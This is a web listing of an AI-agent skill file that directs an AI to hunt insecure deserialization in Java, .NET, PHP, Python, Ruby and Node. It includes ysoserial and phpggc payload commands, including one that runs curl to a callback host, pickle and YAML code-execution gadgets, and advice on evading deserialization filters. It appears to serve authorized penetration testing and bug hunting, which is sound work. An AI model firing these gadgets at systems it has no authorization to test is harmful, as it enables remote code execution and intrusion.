Hunt: Insecure Deserialization
SkillDocs & knowledgeInsecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node. Gadget-chain RCE, OOB-gated blind detection, magic-byte fingerprinting. Wiki-first, FIND schema output.
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Then ask your AI: use the Hunt: Insecure Deserialization skill
What this skill tells your AI
The instructions your AI receives, as published by encod3d-sec/torch in skills/hunt/hunt-deserialization/SKILL.md and read by ahel’s review.
Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
Wiki
qmd_query "insecure deserialization gadget chain Java .NET PHP Python Ruby Node ysoserial" via wiki-search MCP
Hub: [[web-moc]] (live web index). Primary page: [[insecure-deserialization]]. Payload arsenal: wiki/payloads/deserialization.md.
Anchors: [[ml-model-deserialization]].
Confirmation gate
Blind deserialization RCE claims require an OOB HIT. No exceptions. The first payload is always
a benign OOB probe, never a command: Java URLDNS / JRMPClient force a DNS/TCP callback with zero
code-exec risk, proving the sink deserializes attacker data before you fire a gadget.
NOT confirmation: a deserialization error, a type error, a stack trace, a 500, or the blob
merely being accepted. Any of these alone means the parser saw your bytes, not that you control
execution.
IS confirmation: an OOB callback from the gadget to your unique Collaborator / interactsh subdomain, or a demonstrated effect - command execution, a file read, an SSRF fetch - reproduced in a clean session per hunt-core. A time-delay gadget that reliably toggles counts as the effect. Blind cases need the OOB HIT.
When you plant the OOB probe (URLDNS/JRMPClient or any blind payload), append a row to
targets/<eng>/oob.md: | <token> | <sink url+param> | deser | <date> | waiting | | (columns:
token | sink | class | planted | status | source, token = your unique interactsh label). The
recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart
surfaces HITs; the HIT row is the gate to scaffold the FIND. Do NOT claim a blind deserialization
finding without a HIT row.
Attack surface signals
Fingerprint serialized blobs by magic bytes / shape:
rO0AB... Java (base64, 0xAC 0xED 0x00 0x05)
AAEAAAD///// .NET BinaryFormatter (base64)
a:2:{... / O:8:"stdClass": PHP serialize()
gASV / \x80\x04 / \x80\x05 Python pickle (base64 gAS...)
BAh... / --- !ruby/object Ruby Marshal / YAML
Sink locations: cookies (session, auth, state, viewstate), hidden form fields,
Authorization, API JSON with type hints, message queues, cache, file upload of .ser/.pickle.
Rank before firing a gadget. Not all sinks are equal:
- ASP.NET
__VIEWSTATE- if MAC is off or the machineKey leaked, straight to RCE; check first. - Session / auth cookies carrying a serialized blob - attacker-controlled every request, no prior access needed to reach the sink.
.ser/.picklefile uploads andphar://sinks - the parser runs on your bytes by design.- API JSON with type hints (
$type,_class, polymorphic deserializers) - Jackson / fastjson default-typing, .NETTypeNameHandling. - Message-queue / cache payloads - internal, often unauthenticated, frequently no look-ahead filter.
Methodology
- Locate serialized data (decode base64, match magic bytes above).
- Java:
java -jar ysoserial.jar URLDNS "http://probe.<collab>" | base64 -w0 # OOB probe FIRST
java -jar ysoserial.jar CommonsCollections6 "curl http://<collab>/x" | base64 -w0 # after sink confirmed
# .NET ViewState: known machineKey -> ysoserial.net -p ViewState
No ysoserial jar on the box? (the tooling VM often lacks it; the jitpack build download returns an
empty/9-byte stub.) BUILD the gadget yourself against the target's gadget lib from Maven Central, then
compile with --release <target-JRE-major> and run with the right --add-opens. Full recipe +
modern-JDK (17/21) gotchas (class-version mismatch, InaccessibleObjectException, CC5's String-typed
BadAttributeValueExpException.val on JDK 21 -> use CC6) in [[deserialization]] "Build the gadget yourself".
3. .NET: ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd"; ViewState via ysoserial.net -p ViewState --generator=... --validationkey=....
4. PHP: craft POP chain from app's __wakeup/__destruct/__toString; phpggc Framework/RCE1 system id. Look for unserialize() on user input, phar:// (deser via filesystem funcs).
5. Python: pickle.loads on user data -> __reduce__ returning (os.system, ("cmd",)). yaml.load (unsafe) -> !!python/object/apply:os.system.
6. Ruby: Marshal.load / unsafe YAML.load -> universal gadget chains (Gem::...).
7. Node: node-serialize _$$ND_FUNC$$_ IIFE; funcster, serialize-javascript sinks.
8. Distill when confirmed (per hunt-core): reusable gadget chain or framework sink -> python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/insecure-deserialization.md.
Chaining
A deserialization sink is usually the RCE itself, not a step toward one: a working gadget executes
your command in-process. When the classpath yields only a partial primitive - URLDNS / JRMPClient
SSRF, a file-read gadget, a JNDI lookup - drive the follow-on through hunt-rce (JNDI/LDAP to code
exec, log4shell-style) or the relevant sink skill rather than forcing a command gadget the
look-ahead filter blocks.
Evasion
Look-ahead deserialization filters (ValidatingObjectInputStream, ObjectInputFilter, Jackson
allowlists) reject known gadget classes by name. When a confirmed sink rejects CC1-7: switch to a
gadget library actually on the classpath (Spring, Hibernate5, C3P0, ROME, MozillaRhino), try a
different serialization format the same endpoint accepts (XML / JSON / YAML vs binary), nest the
payload (SignedObject wrapping), or - .NET - swap the formatter (LosFormatter, SoapFormatter,
Json.NET TypeNameHandling). Fingerprint the exact library version before sweeping blind.
Severity
- CRITICAL - command execution or an OOB code callback from the gadget.
- HIGH - file-read or SSRF-only gadget (no command exec).
- MEDIUM - DoS-only gadget.
Rated on demonstrated impact per hunt-core, not the theoretical maximum of the class.
Deadends
Stop after the bounded OOB gadget sweep (per hunt-core / CLAUDE.md: ~30-40 payloads, zero callbacks) or when the sink deserializes but no gadget on the classpath executes:
Append: - [ ] deser on <host> <param> -- Java sink confirmed (URLDNS hit) but CC1-7/Spring/
Hibernate no exec (hardened classpath / look-ahead filter)
Record which gadget libraries and formats you tried, not just that it failed.
Signals
- GitHub stars
- 322
- Forks
- 44
- Last commit
- Sep 2026
Advanced
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hunt-deserialization-encod3d-sec- Source
- github.com/encod3d-sec/torch